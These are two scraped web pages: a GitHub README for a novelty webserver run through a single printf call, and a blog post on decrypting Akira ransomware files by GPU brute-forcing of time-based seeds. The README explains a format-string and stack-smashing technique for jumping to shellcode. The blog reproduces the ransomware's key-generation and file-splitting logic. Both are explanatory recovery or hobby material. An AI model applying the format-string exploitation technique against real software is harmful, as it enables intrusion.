https://github.com/edanaher/printf-webserver | GitHub - edanaher/printf-webserver: A "portable" webserver written with a single line of printf Skip to content Navigation Menu Toggle navigation Sign in Appearance settings Platform AI CODE CREATION GitHub Copilot Write better code with AI GitHub Spark Build and deploy intelligent apps GitHub Models Manage and compare prompts MCP Registry New Integrate external tools DEVELOPER WORKFLOWS Actions Automate any workflow Codespaces Instant dev environments Issues Plan and track work Code Review Manage code changes APPLICATION SECURITY GitHub Advanced Security Find and fix vulnerabilities Code security Secure your code as you build Secret protection Stop leaks before they start EXPLORE Why GitHub Documentation Blog Changelog Marketplace View all features Solutions BY COMPANY SIZE Enterprises Small and medium teams Startups Nonprofits BY USE CASE App Modernization DevSecOps DevOps CI/CD View all use cases BY INDUSTRY Healthcare Financial services Manufacturing Government View all industries View all solutions Resources EXPLORE BY TOPIC AI Software Development DevOps Security View all topics EXPLORE BY TYPE Customer stories Events & webinars Ebooks & reports Business insights GitHub Skills SUPPORT & SERVICES Documentation Customer support Community forum Trust center Partners Open Source COMMUNITY GitHub Sponsors Fund open source developers PROGRAMS Security Lab Maintainer Community Accelerator Archive Program REPOSITORIES Topics Trending Collections Enterprise ENTERPRISE SOLUTIONS Enterprise platform AI-powered developer platform AVAILABLE ADD-ONS GitHub Advanced Security Enterprise-grade security features Copilot for Business Enterprise-grade AI features Premium Support Enterprise-grade 24/7 support Pricing Search or jump to... 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Dismiss alert {{ message }} edanaher / printf-webserver Public Notifications You must be signed in to change notification settings Fork 1 Star 7 A "portable" webserver written with a single line of printf 7 stars 1 fork Branches Tags Activity Star Notifications You must be signed in to change notification settings Code Issues 0 Pull requests 0 Actions Projects 0 Wiki Security Uh oh! There was an error while loading. Please reload this page . Insights Additional navigation options Code Issues Pull requests Actions Projects Wiki Security Insights edanaher/printf-webserver master Branches Tags Go to file Code Open more actions menu Folders and files Name Name Last commit message Last commit date Latest commit History 3 Commits README.md README.md web.10.c web.10.c web.10.nomacros.c web.10.nomacros.c View all files Repository files navigation README "Portable" printf webserver Inspired by http://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/ , this is a moderately portable webserver in a single printf command. "Portable" in this case means it is expected to work on any x86_64 Linux system using a gcc version from 4.4 to 4.7. Shockingly, it even seems to work on 4.4-4.6 with -O3 (though not -Os). More portability should be possible; check for higher-numbered files that may work on more gcc versions, x86, or maybe even OS X. Explanation This is based on the same principle as the inspiration, including the same shell code. Check the blog post above if you want more details. But generally, the idea is to put shellcode in a string (the string of random hex), and jump to it by combining the %* and %n format specifiers to overwrite an address. The original used .fini_array; this uses a simpler (and, strangely enough, more portable) stack smashing attack. web.10.c The return address lives on the stack; this by default points to system cleanup to be run after main completes. By taking an offset from argc (apparently 12 bytes in gcc 4.4 - 4.6, 60 bytes in 4.7), we can overwrite it. Conveniently, in gcc 4.7, 12 bytes up is null, making for easy run-time compiler detection. To avoid printing lots and lots of characters, this sets the address by bytes, which is a bit long, but not difficult. Finally, where does the address of the shell code come from? It turns out that gcc will only store one copy of each string, and they seem to be adjacent if there are no other locals, except for padding to an 8-byte boundary. So while we could just take the address of the shellcode itself, that would require copy/pasting it eight times, which is inelegant. So instead, the format string is used for this, with the fmtlength offset. And yeah, there are macros, but they're just for convenience. web.10.nomacros.c isn't really that much worse. About A "portable" webserver written with a single line of printf Resources Readme Uh oh! There was an error while loading. Please reload this page . Activity Stars 7 stars Watchers 1 watching Forks 1 fork Report repository Releases No releases published Packages 0 No packages published Languages C 100.0% Footer © 2026 GitHub, Inc. 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https://tinyhack.com/2025/03/13/decrypting-encrypted-files-from-akira-ransomware-linux-esxi-variant-2024-using-a-bunch-of-gpus/ | Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs I recently helped a company recover their data from the Akira ransomware without paying the ransom. I’m sharing how I did it, along with the full source code. Update: since this article was written, a new version of Akira ransomware has appeared that can’t be decrypted with this method The code is here: https://github.com/yohanes/akira-bruteforce To clarify, multiple ransomware variants have been named Akira over the years, and several versions are currently circulating. The variant I encountered has been active from late 2023 to the present (the company was breached this year). There was an earlier version (before mid-2023) that contained a bug, allowing Avast to create a decryptor. However, once this was published, the attackers updated their encryption. I expect they will change their encryption again after I publish this. https://decoded.avast.io/threatresearch/decrypted-akira-ransomware You can find various Akira malware sample hashes at the following URL: https://github.com/rivitna/Malware/blob/main/Akira/Akira_samples.txt The sample that matches my client’s case is: bcae978c17bcddc0bf6419ae978e3471197801c36f73cff2fc88cecbe3d88d1a It is listed under the version: Linux V3 . The sample can be found on virus.exchange (just paste the hash to search). Note that the ransom message and the private/public keys will differ. We do this not because it is easy, but because we thought it would be easy I usually decline requests to assist with ransomware cases. However, when my friend showed me this particular case, a quick check made me think it was solvable. From my initial analysis, I observed the following: The ransomware uses the current time (in nanoseconds) as a seed. On my Linux machine, file modification times have nanosecond resolution. They provided a screenshot of a partial log ( shell.log ), showing when the ransomware was executed, with millisecond resolution. Based on this, my initial thought was: “This should be easy—just brute-force it by looking at the file timestamps. How hard can it be?” I’ll explain in more detail, but it turned out to be more complicated than expected: The malware doesn’t rely on a single moment in time but uses four moments , each with nanosecond resolution . The fist two and last two are related, so we can’t just bruteforce the time one by one. Key generation is complex, involving 1,500 rounds of SHA-256 for each timestamp. Each file ends up with a unique key. The VMware VMFS filesystem only records file modification times with second-level precision . Not all ESXi hosts have millisecond resolution in their log files, some only log with second-level precision. I am still unsure what configuration file causes this different behavior The malware uses multiple threads during execution. The file modification time reflects when the file is closed , not when it is opened for writing. Reverse Engineering The code is written in C++ , which is notoriously difficult to read, but fortunately, it wasn’t obfuscated. The binary is statically linked (a bit harder to analyze), but all strings are in cleartext. The error messages indicate that the Nettle library is used, which made understanding the code much easier. The existence of error strings really helps The code to generate random is like this (the actual code is in 0x455f40 in the binary) void generate_random(char *buffer, int size) { uint64_t t = get_current_time_nanosecond(); char seed[32]; //in the real code, it uses C++ code to convert int to string snprintf(seed, sizeof(seed), "%lld", t); struct yarrow256_ctx ctx; yarrow256_init(&ctx, 0, NULL); yarrow256_seed(&ctx, strlen(seed), seed); yarrow256_random(&ctx, size, buffer); } The random generator is implemented in yarrow256.c . Here is the relevant code, with unnecessary parts removed. As noted in the comments: The number of iterations when reseeding, P_t in the yarrow paper. Should be chosen so that reseeding takes on the order of 0.1-1 seconds. void yarrow256_seed(struct yarrow256_ctx *ctx, size_t length, const uint8_t *seed_file) { sha256_update(&ctx->pools[YARROW_FAST], length, seed_file); yarrow256_fast_reseed(ctx); } void yarrow256_fast_reseed(struct yarrow256_ctx *ctx) { uint8_t digest[SHA256_DIGEST_SIZE]; unsigned i; sha256_digest(&ctx->pools[YARROW_FAST], sizeof(digest), digest); /* Iterate */ yarrow_iterate(digest); aes256_set_encrypt_key(&ctx->key, digest); /* Derive new counter value */ memset(ctx->counter, 0, sizeof(ctx->counter)); aes256_encrypt(&ctx->key, sizeof(ctx->counter), ctx->counter, ctx->counter); } /* The number of iterations when reseeding, P_t in the yarrow paper. * Should be chosen so that reseeding takes on the order of 0.1-1 * seconds. */ #define YARROW_RESEED_ITERATIONS 1500 static void yarrow_iterate(uint8_t *digest) { uint8_t v0[SHA256_DIGEST_SIZE]; unsigned i; memcpy(v0, digest, SHA256_DIGEST_SIZE); /* When hashed inside the loop, i should run from 1 to * YARROW_RESEED_ITERATIONS */ for (i = 0; ++i < YARROW_RESEED_ITERATIONS; ) { uint8_t count[4]; struct sha256_ctx hash; sha256_init(&hash); /* Hash v_i | v_0 | i */ WRITE_UINT32(count, i); sha256_update(&hash, SHA256_DIGEST_SIZE, digest); sha256_update(&hash, sizeof(v0), v0); sha256_update(&hash, sizeof(count), count); sha256_digest(&hash, SHA256_DIGEST_SIZE, digest); } } Seed and encryption The ransomware calls the random generator four times: generate_random(chacha8_key 32); generate_random(chacha8_nonce, 16); generate_random(kcipher2_key, 16); generate_random(kcipher2_key, 16); Each generate_random call uses the current nanosecond timestamp as a seed. Therefore, there are four unique timestamps that need to be identified. The ransomware generates different keys for each file . These keys are then saved at the end of the file as a trailer , encrypted with RSA-4096 and padded using PKCS#11 padding . The files are divided into N blocks , and a percentage of each block is encrypted. This percentage is defined by the ransomware’s -n parameter. For each block: The first 0xFFFF bytes are encrypted using KCipher2 . The remaining bytes are encrypted using Chacha8 .. The following picture shows how a file is split. Note that, for very small files, knowing the Chacha8 key and IV isn’t necessary.. After studying various VMware filetypes (I will go deeper into this later), I am convinced that the most important files (flat VMDK and sesparse files) has a fixed header, and I can use that to attack the encryption. Other details At this point, I didn’t analyze deeper. But I am sure that I can reverse engineer the rest of the algorithms later, specifically: How to split the file into blocks How is the encryption performed across blocks, does it continue the stream? These details will be important later. However, for now, if we can’t successfully brute-force the timestamps, none of the other steps will matter. Bruteforce feasibility The approach is as follows: Generate two timestamps ( t3 and t4 ). Convert these timestamps into seeds and generate random bytes. Use these bytes as the KCipher2 key and IV . Encrypt known plaintext and compare the result with the known ciphertext from the encrypted file. Lets make a plan: Check feasibility : Determine if brute-forcing is fast enough to be practical. Identify the plaintext : Known plaintext is required for brute-forcing. Estimate the seed initialization time : We need to know when the encryption seed was initialized, at least with second-level precision . This knowledge can reduce the brute-force scope to about 1 billion values . The simplest (but inefficient) way is to try all possible timestamp pairs where T4 > T3 . The number of possible pairs is calculated as: N×(N−1)/2 With N = 1 billion , that results in 500 quadrillion possible pairs. We need to optimize this. First we need to convert all the nanoseconds in a one-to random values: On my mini PC CPU , I estimated a processing speed of 100,000 timestamp to random bytes calculations per second (utilizing all cores). This means it would take about 10,000 seconds (under 3 hours ) to convert all timestamps to seed values. Once converted, these values can be saved for reuse. Later, I optimized the process using a GPU , reducing the conversion time from 3 hours to under 6 minutes . If we have a completely deterministic machine, without any interruption, we can run the malware, measure it, know the exact time between T3 and T4. But unfortunately we don’t have this: The malware uses multiple threads, It runs on a machine that is not idle, the distance between T3 and T4 varies based on the scheduler and how busy the system at that time. The code also calls a lot of C++ libraries, which allocates and deallocates objects and makes the execution time more unpredictable. To be clear: we need to enumerate t3 (1 billion values for each second) we dont start at t3 + 1, but at t3 + start offset, since we know that seeding the value takes time (at least a million nanosecond on my machine), this is the “ start offset “ we assume that it will only take a few million nanosecond to until the next code is executed (remember: there can be interruptions because of the CPU scheduler, and there are several millions instructions executed). This is the “ offset range ” value What we can do is to try to run the exact same code as the malware, collect timing data, and try to find a range that statistically makes sense. Using the same technique that I use on my previous post , instead of recreating the algorithm and running it, I just modified the malware and tested on several local machines that I have. The runtime varies quite a lot between machines. My friend Deny went to the datacenter and did the test on the real hardware that was infected. The result is: the time range varies, and sometimes quite a lot. The normal range of the offset is around 2-4 million nanoseconds (so the offset range is 2 million), but the value varies from 1.5 – 5 million (total offset range is 4.5 million). We still need to enumerate 4.5 quadrillion pairs, but this appears to be doable. If we have a system capable of running 50 million encryptions per second, the process would take a few hundred days. However, with 16 such systems, we could complete it in a few months on a CPU. By renting additional machines, we could speed up the process even further. Later, I optimized this using a GPU, achieving a significant speed improvement. I wasn’t sure about how fast we can do Kicpher2, but a quick comparison with chacha, and some quick benchmarking shows that using CPU ony, I should be able to do at least millions of Kichper operations per second on my machine. As explained before, if t3 and t4 are correct, we will be able to decrypt the first 8 bytes of the file, and it will decrypt to a known plaintext. Next lets check the feasibility of obtaining plaintext from different VMware files VMWare File Types For each file, we need a plaintext sample: the first 8 bytes of the file for KCipher2 (offset 0) and another 8 bytes starting from offset 65,535 (only for large files). Since each block of KCipher2 is 8 bytes, we should use an 8-byte plaintext. It is possible to use fewer bytes (by using bit masking), but this could increase the risk of false positives. Flat-VMDK This is a raw disk file. If you’re lucky, this might be the only file you need to recover. However, if snapshots were made (as in this client’s case), the new data would be written to sesparse files. To obtain the first 8 bytes of the flat VMDK, you’ll need to install the same OS that was used on the original VM. There are several variations of bootloaders used by different OS versions. To determine which OS was used, check the corresponding VMX file. It should contain partially readable plaintext, allowing you to inspect the configuration for “guestOS”. You might find something like: guestOS=”ubuntu”. However, ideally, you already have documentation regarding which OS was used for each VM, so you don’t have to rely on this method. For the bytes at position 65,535 (plaintext for Chacha8), it is almost always guaranteed to be zero, since the partition typically starts at a later sector. Sesparse If you create snapshots for your VM, there will be a SESPARSE file for each snapshots. We can see the file format from the QEMU source code. https://github.com/qemu/qemu/blob/master/block/vmdk.c The file header is 0x00000000cafebabe , and at position 65,535, it should be 0x0 (at least, that’s what I observed in my analysis). Other files Other files are not critical for restoring a working VM, but for initial testing, understanding the time distribution can be helpful. If there are many small files with the same timestamp, it’s useful to know if they cluster within a specific timestamp range. Here are some common file signatures to identify plaintexts: NVRAM files start with: 4d 52 56 4e 01 00 00 00 VMDK files (disk descriptor) start with the string: # Disk Descriptor .VMX files start with: .encoding VMware log files have lines starting with the format: YYYY-MM-DD Since these files are partially readable, we can often guess the initial timestamp based on the beginning of the file (e.g., the YYYY-MM- part of the log). By identifying plaintexts in these files, the next step is to narrow down the timestamp for accurate brute-forcing. Encryption timestamp Now that we know brute-forcing is feasible and we have both plaintext and ciphertext, the next step is to determine when the encryption occurred for each file (since each file will have different keys). ESXI log The command used to run the malware is recorded in the shell.log file (including the setting for n, which defines how much of the file should be encrypted). Some ESXi hosts provide millisecond resolution in their logs, while others only offer second-level precision. This log gives us the initial timestamp for when the malware started. For example, if the log shows that the malware started at 10:00:01.500, we can safely ignore the first 500 million nanoseconds when brute-forcing, which helps narrow down the search range. Filesystem timestamp and modification time Unfortunately, ESXi file systems do not support nanosecond precision. Another challenge is that the file modification time is recorded only when the file is closed. This means the recorded timestamp might not exactly reflect the moment when the encryption process started but rather when it ended. In Linux (using most filesystems), timestamp accuracy is nanosecond For small files, encryption typically takes only a few milliseconds, so the timestamp will most likely reflect the exact second when the file was encrypted. The next step is to determine the encryption time for larger files, where the process takes longer and the timestamps may be less precise. in VMFS, accuracy is second Multithreaded Encryption The malware uses multithreading, where each file is processed in a new thread, with a pool of workers limited by the number of CPU cores. This has both advantages and disadvantages. If the malware targets a single directory and the number of files is less than the number of CPU cores, the process is straightforward—each file will have a timestamp that is very close to the others. On an ESXi machine, it’s common to have CPUs with a large number of cores (in this case, the server has 64 cores). When checking for timestamps using: find /vmfs/volumes -exec stat {} \; we should be able to identify small files that were encrypted first. During brute-forcing, we can then check multiple files simultaneously for that specific moment in time. Files processed first will have similar timestamps, but things become more complex for files processed later. For larger files, encryption can take seconds to minutes, and the modification time will reflect when the file was closed, which is significantly later than when the encryption key was actually generated. The malware uses boost::filesystem for traversing directories and files. The iterator in boost::filesystem follows the order returned by readdir , which is the same order observed when using commands like ls -f or find . . Let’s consider an example where we have 4 CPU cores and 8 files. If the files are tiny (less than 1 KB, such as VMDK descriptor files), their processing is almost instantaneous (within milliseconds). Here’s how the processing might look: Threads A, B, and C each find and process small files ( file_a , file_b , file_c ), while Thread D finds a large file ( file_d ). All four files are processed immediately . Once Threads A, B, and C complete, they begin processing the next set of files ( file_e , file_f , file_g ). However, these files are larger and require more processing time . While the other three threads are still working, Thread D finishes processing the large file_d and starts working on the final file ( file_h ). As a result, the starting timestamp of file_h will align with the completion time of file_d . Now, imagine having hundreds of files—it becomes difficult to determine the exact processing order. However, one consistent observation is that the encryption start time for a file is likely to be the same or very close to the modification time of another file. This is because, once a thread finishes processing and closes a file (thereby recording its modification time), it will immediately start processing the next available file. This creates a sequence where the encryption start time of one file is closely linked to the modification time of the previous file. So given few hundred files and plenty of CPU cores, we may only have a list of a few seconds where the malware will start to generate the random keys. So now we have the final part of the puzzle: we know when the encryption was performed. Network Filesystem While reviewing the client’s logs, I noticed some entries mentioning the use of NFS. However, after clarification, it was confirmed that NFS was used only for backups and was not affected. All relevant files were stored on local disks on the server. If a network filesystem had been used, it would have complicated the process. If the network time between systems wasn’t perfectly synchronized, the timestamps might have been inaccurate or unreliable, further complicating the brute-force process. Creating the bruteforcer The plan seemed solid, so the next step was to implement the code. I needed to confirm whether the encryption process worked exactly like the malware. To test this, I patched the malware code to make the gettime function return a constant value of 0, ensuring predictable and consistent results during testing. KCipher2 I focused on KCipher2 because not all files use the Chacha8 key, particularly small files. Although KCipher2 is a standard encryption algorithm, it’s not widely known, and I couldn’t find an optimized implementation for it. During experimentation, I noticed that my results didn’t match the standard KCipher2 implementations available online. It turned out that the malware included a slight modification in the initialization vector and the encryption process, specifically involving endian swapping. CUDA I’m not an expert in CUDA programming. About 10 years ago, I briefly experimented with it but couldn’t find a practical use case for the company I worked for at the time. To accelerate development, I asked ChatGPT (o1) to port the code to CUDA. The code compiled successfully but produced incorrect results. It turned out that ChatGPT had slightly modified the numbers in the constant tables. After manually correcting these values, the code began to work. Although the implementation ran, I suspected it was suboptimal, but I wasn’t able to get further optimization suggestions from ChatGPT (o1). At that point, I had two options: spend more time optimizing the code or proceed with the predicted offset range and refine the code along the way. I chose to start testing immediately and optimize as needed. Unfortunately, this approach turned out to be a waste of money, as it didn’t yield any successful results. At the start of the project, I only had two RTX 3060 GPUs. One was dedicated to my Windows machine, so I could only use one GPU on my Mini PC (connected externally via Oculink). To improve performance, I decided to purchase an RTX 3090. The price in Thailand was still reasonable compared to the 4090 or higher models. I tested the implementation by reading the key and IV from memory, encrypting zero blocks, and writing the results back to memory. The performance was disappointing, achieving only around 60 million encryptions per second. At this rate, the entire process would take about 10 years, clearly too slow for practical recovery. Manual Optimization I performed some manual optimizations by removing unnecessary code to improve performance: Only the first block is needed for brute force, so there was no need to handle additional blocks. The code was simplified to only encrypt blocks of zeroes, reducing unnecessary processing. Since only the first 8 bytes of the result were required, the rest of the output was ignored to minimize computation. Shared Memory After researching CUDA optimizations for AES, I discovered that using shared memory significantly improves performance, contrary to what ChatGPT suggested. Surprisingly, the extra steps involved in copying constant memory data to shared memory were negligible in terms of overhead but resulted in the code running several times faster. Avoiding Memory Writes Initially, I performed encryption on the GPU and matching on the host (CPU). However, this approach was slow, even when executed in parallel: generate encryption on GPU copy result to CPU Perform matching in a new thread and submit the next batch of work to the GPU. I found it much faster to avoid writing to memory altogether. Instead, the matching process is handled directly on the GPU, and no data is written to memory unless a match is found. This approach significantly reduced processing time and improved efficiency. Multiple files matching For each t3 and t4 combination, a match can occur for any file that shares the same second-level timestamp (but with different nanoseconds). To improve efficiency, we can attempt to match multiple files simultaneously. However, if there are too many files to match, the process can slow down significantly. Currently, the number of files processed in parallel is hardcoded to 32 to maintain a balance between performance and efficiency. The Loop I considered and implemented two ways to do the loop. For every t3 value, we could start a GPU kernel to check all offset ranges. However, this method is inefficient, as it would require launching the kernel a billion times, resulting in significant overhead.. Alternatively, we can launch a GPU kernel for each offset. Each kernel would then perform the necessary checks. This approach is much faster because it reduces the number of submissions to just the “offset range”, which is around 2 to 4.5 million jobs. Batch Checking Initially, my approach was to submit a task to the GPU, wait for the result using cudaDeviceSynchronize() , and then submit the next batch of work. However, this method proved to be slow. Submit work to the GPU, and if a match is found, simply mark it using a found flag. Only call cudaDeviceSynchronize() to check results every 100 steps. If a match is found, the flag is reset to zero before proceeding. While this method significantly improved performance, there’s a slight possibility that if two offsets are very close (less than 100 steps apart), the code might miss one of them. Although this issue never occurred during my tests, I added an optional mode of loop. In this mode, the program reads a list of offsets and ensures that nearby offsets are also checked manually to avoid missing any potential matches. Final Speed I believe that GPU experts could still find ways to further optimize my code. Currently, I’m achieving around 1.5 billion encryptions per second for KCipher2 on my RTX 3090. For testing 1 billion values with a single offset, it takes about 0.7 seconds, including the time to check for matches (with a maximum of 32 matches per batch). Testing 2 million offsets would require approximately 16 days on a single GPU, or just 1 day using 16 GPUs. I also conducted tests using Runpod , and the RTX 4090 turned out to be the ideal option. Although it’s about 60% more expensive than the 3090, it’s also 2.3 times faster. With a 4090, the same process would take around 7 days on a single GPU. Using 16 GPUs, the process could be completed in just over 10 hours. Running the brute force From a cost perspective, the RTX 4090 is an excellent choice for this task due to several factors: Large memory is not required. Floating-point operations are not needed. The RTX 4090 offers a high number of CUDA cores, enhancing processing speed. The rental price for an RTX 4090 is relatively low compared to other high-end GPUs. If the 4090 is unavailable, the 3090 is also a good alternative considering its price-to-performance ratio. Initially, my client considered using Google Cloud Platform (GCP) machines and seeking a discount for a month-long rental. However, this option proved to be extremely expensive (costing tens of thousands of USD). After some research, I found more cost-effective alternatives: Runpod and Vast.ai. Runpod To brute force 1 second (1 billion nanosecond), with offset range of 2 million, it will take 7 days. The cost for a RTX 4090 (at the time of this writing) is 0.69 USD/hour. It will cost around 116 USD to brute force a single second. Renting 16 GPUs will have the work finished in around 10 hours, same cost, but faster. Brute forcing with the range of 4.5 million (which is the range that we need) costs 261 USD. Depending on the number of encrypted files, you might need to brute force 10 or more seconds. If you have a lot of files to recover, weekly or monthly rent will be cheaper. Note: These costs assume everything is executed perfectly. Any mistakes or the need to repeat processes can significantly increase costs. In total, including all my experiments and tests, I spent around $1,200. Vast.ai Unlike runpod, when using vast.ai, you are renting a machine from some random person brokered by vast.ai. When doing the bruteforce, no sensitive data is sent, so privacy should not be a concern. Using vast AI, the bruteforce cost can be reduced to half, but this depends on your luck in obtaining the machine. The first few machines that I tested didn’t work (network timeout after around 10 minutes of waiting). I also had problem with pulling docker images from docker.io (I had to select another template from another docker repository). The rest of the work Now that I found the value of t3 and t4, I can try to find the value for t1 and t2. The value of t1 must be less than t3, and the time offset is less than 10 million nanoseconds. This can be found quickly in minutes using a single GPU. Block split algorithm Here is the algorithm used to split the file into parts: enc_block_size: for every parts/blocks, this is how many bytes to encrypt. The first 0xFFFFF will be encrypted using KCipher2, and the rest using Chacha8 part_size: the size of the block encrypted_parts: how many blocks to encrypt void compute_blocks(uint64_t filesize, uint8_t percent, uint64_t *enc_block_size, uint64_t *part_size, uint64_t *encrypted_parts) { int parts = 3; if ( percent > 49u ) parts = 5; uint64_t enc_size = filesize * (uint64_t)percent / 100; *enc_block_size = enc_size / parts; *encrypted_parts = parts - 1; *part_size = (filesize - *enc_block_size * (*encrypted_parts)) / parts; } Encryption Detail The malware uses the 8 rounds variant of Chacha called chacha8, not Chacha20 as many sites reported. For kcipher2, we will encrypt the first 65535 bytes (yes, not 65536). It means that one byte will remain from the first block, and this needs to be used for the next block For cacha20, we just throw away the rest of the encryption stream block when starting a new block Recovery Steps To recover your files without paying, it is not as straightforward as running a generic decryptor. You will need to: obtain timestamps of your files obtain ciphertext and plaintext for your files rent GPUs Note about the code To be honest, I originally wrote this code for one-time use, specifically for this particular client. The shared code is filled with experimental logic, quick hacks, and lacks proper testing. I don’t have the motivation to clean it up further, apart from removing some client-specific test cases and comments. It’s functional for the intended purpose. The software I provided includes only the main brute-force and decryption components, intended to be used once you have the necessary timestamps. I don’t have a dedicated system to manage multiple GPUs. Instead, I rely on basic shell scripting and a custom script that sends a Telegram message when a match is found. The code is “good enough for me” and simply “works for me.” In essence, you’ll need a capable system administrator who understands the process and knows how to manage and troubleshoot the system effectively. Building the code See README.md in the repository, it also has a sample config file to test that it works. Sample encrypted files and configuration files are also provided. Obtain timestamps I hope you haven’t touched the files, because all hope of recovery will be gone if the timestamps are unknown. Use stat filename to get the modification timestamp. Use find /vmfs/volumes -exec stat {} \; > /tmp/stats.txt to get the timestamp of everything. The file shell.log can help to figure out the minimum timestamp to use. Obtain ciphertexts Obtain the ciphertext, as explained above: For flat-vmdk, you need to extract this from the exact OS that you use (including the exact instalation method, e.g: using BIOS/UEFI) For sesparse file, use the header 0x00000000cafebabe For other files, see what I wrote above Measure server speed You can always just use an offset range of 1.5-5 million, but this may not be the correct range if your hardware is too fast or too slow. You can measure this by checking out the timing-patch-1 folder and timing-patch-2 folder on my github repository. The first one only measures time ranges by calling the function directly. The second one is used to encrypt a directory, but it is patched so that it will write down the exact time when the timestamp is used as the seed to /tmp/log.bin . Divide the work Create config files based on the ciphertext/plaintext and timestamp. You can create/split this manually, or use a script to generate it. My code doesn’t do any error checking, make sure the timestamp is in nanosecond format, make sure all plaintext and ciphertext values are correct. Rent GPUs If you want a very quick and easy setup, use runpod or other service. If you want to be cheap, use vast.ai, or run it on your own hardware (~ 1K USD for one RTX 3090, which you can resell later). Run Kcipher2 bruteforce The first brute force is to find t3 and t4 for Kcipher. ./anti-akira run config.json <gpuindex> For example: ./akira-bruteforce run2 config.json Append GPU index if you have multiple GPUs ./akira-bruteforce run2 config.json 1 I suggest running it inside tmux, so you will be fine in the event of network disconnect. If we are lucky, output.txt will be generated for each t3/t4 found. As explained above: this may take days (depending on GPU used), so please make sure: all the config files are good You are using the correct GPU index make sure everything is running check with nvidia-smi (with runpod, we can also view the GPU status using the web) make a notification system to alert you if output.txt is created/updated Run chacha8 bruteforce This is not necessary for small files, but it is neede for big files. For each offset found, generate a config with the t3 found in the previous step. On my target machine, the distance between t1 and t3 is less than 10 million, and the t1 to t2 is around 1.5 – 5 million. The brute force should only take around 10 minutes. Decrypt the files Note that the decryptor has the percentage hardcoded to 15 percent, so please change this before running the decryptor in case the attacker uses different value. Once we have obtained the t1, t2, t3, and t4, run the decryptor: ./decrypt filename.vmdk <t1> <t2> <t3> <t4> The decryption process is not optimized, so it will take a while to decrypt. Conclusion Probably 99.9% of the time when you get a ransomware, it won’t be recoverable without the key. But if you are lucky, sometimes it is possible to find a solution. It took me much longer than I anticipated to solve this, I thought that it would take a week, but it took me almost three weeks until we recover an entire set of VM files. I also would like to add that I found a reddit thread about akira ransomware , I wasn’t sure that the ransomware strain that I have is the same as theirs, and that is the reason why I just continue my own research and to open source it. I hope that my experience and code will be useful for someone else. Everytime I wrote something about ransomware (in my Indonesian blog), many people will ask for ransomware help. Many people can’t even find the ransomware executable (just the encrypted file, which is not useful). Just checking if the ransomware is recoverable or not may take several hours with a lot of efforts (e.g: if the malware is obfuscated/protected). So please don’t ask me to do that for free. Author admin Posted on March 13, 2025 November 7, 2025 Categories hacks , reverse-engineering , security Tags define , Final 76 thoughts on “Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs” Pingback: Decrypting Akira Ransomware on Linux/ESXi Without Paying Hackers Pingback: Decrypting Linux/ESXi Akira Ransomware Files Without Paying Ransomware Pingback: Decrypting Linux/ESXi Akira Ransomware Files Without Paying Ransomware – serisec Pingback: Victims of Akira Ransomware Could Unlock Their Data - TechNadu Pingback: 使用一堆GPU解密由Akira勒索软件加密的文件 - 偏执的码农 Pingback: Hacker News 今日TOP 20| 2025-03-15 - 出海掘金，无限可能。为独立开发者、跨境电商从业者、海外自媒体提供最新出海资讯和资源-出海掘金，无限可能。为独立开发者、跨境电商从业者、海外自媒体 Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs | CyberSec Bulletin Pingback: New Akira ransomware decryptor cracks encryptions keys utilizing GPUs - tech site Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs Pingback: Nuevo descifrtor de ransomware AKIRA grieta las claves de las criptas con GPU | NOTICIAS FINTECH LATAM Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs - Techcaro.com Pingback: New Akira ransomware decryptor cracks encryptions keys utilizing GPUs - Tech News 12 Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs - HackWatchit Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs - Digitpatrox Pingback: New Akira ransomware decryptor cracks encryptions keys utilizing GPUs - Drones Worldwide Pingback: Akira Ransomware rachou com RTX 4090-Novo Exploração para o ataque de criptografia de força bruta - ferreiradozezere.net Pingback: New Akira ransomware decryptor cracks encryptions keys utilizing GPUs - Aipioneerhub Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs - Tech AI Verse Pingback: درهمشکستن باجافزار Akira امکانپذیر است؛ اما با ۱۶ کارت گرافیک RTX 4090 – بجوی Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs - Shackle Media Pingback: 白帽駭客透過大量GPU枚舉4500兆個偏移值幫助客戶暴力破解勒索軟體復原數據 – WONGCW 網誌 Pingback: درهمشکستن باجافزار Akira امکانپذیر است؛ اما با ۱۶ کارت گرافیک RTX 4090 – رویداد 7 Pingback: 今日互联网—第3期 - 网海拾遗 Pingback: Researcher releases free GPU-Based decryptor for Linux Akira ransomware - Maple Grove Report Pingback: Researcher releases free GPU-Based decryptor for Linux Akira ransomware – ITSecurityNewsBox Pingback: Akira Ransomware: come è stato possibile decifrarlo con l'uso delle GPU - Matrice Digitale Pingback: To counter this dangerous ransomware, just a graphics card and a little patience - Aroged Pingback: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More | Cybersecurity News Pingback: ⚡ THN Weekly Recap: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More - Tech Investor News Pingback: Router Hacks & More Cyber News - FusionMindLabs Magazine Pingback: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More – Securitydone Pingback: ⚡ THN Weekly Recap: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More – Surveillent Cyber Pingback: ⚡ THN Weekly Recap: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More | PTechHub Pingback: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More - SwapUpdate Pingback: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More Pingback: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More - CyberMind - Free CyberSecurity Quizzes Pingback: ⚡ THN Weekly Recap: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More - O'Fallon IL Computer Support Pingback: New Akira Ransomware Decryptor Leans on Nvidia GPU Power - Security Boulevard Pingback: ⚡ THN Weekly Recap: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More - Cyber Defense Advisors Pingback: New Akira Ransomware Decryptor Leans on Nvidia GPU Power - HackWatchit Pingback: Akira Ransomware can be cracked by sixteen RTX 4090 